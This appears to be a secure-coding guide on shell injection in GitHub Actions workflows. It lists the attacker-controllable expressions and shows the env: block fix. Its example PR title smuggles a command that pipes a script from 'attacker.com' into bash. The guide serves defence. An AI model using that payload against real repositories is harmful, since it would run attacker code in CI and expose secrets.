GitHub Actions run: blocks execute shell commands. When you interpolate ${{ }} expressions containing attacker-controlled values directly into a run: block, the value is pasted into the shell command before execution. An attacker can craft input containing shell metacharacters that execute arbitrary code.
A pull request with this title:
"; curl https://attacker.com/steal.sh | bash; echo "
When interpolated into:
run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"
Becomes:
echo "Thanks for the PR: "; curl https://attacker.com/steal.sh | bash; echo ""
The attacker's script runs with full access to your CI environment, including secrets.
These ${{ }} expressions are attacker-controllable:
github.event.pull_request.title / .body / .head.refgithub.event.issue.title / .bodygithub.event.comment.bodygithub.event.review.bodygithub.event.discussion.title / .bodygithub.head_refgithub.actor / github.triggering_actorMove the expression to a step-level env: block. Environment variables are not interpreted by the shell as code:
# Before (vulnerable)
- run: echo "${{ github.event.pull_request.title }}"
# After (safe)
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"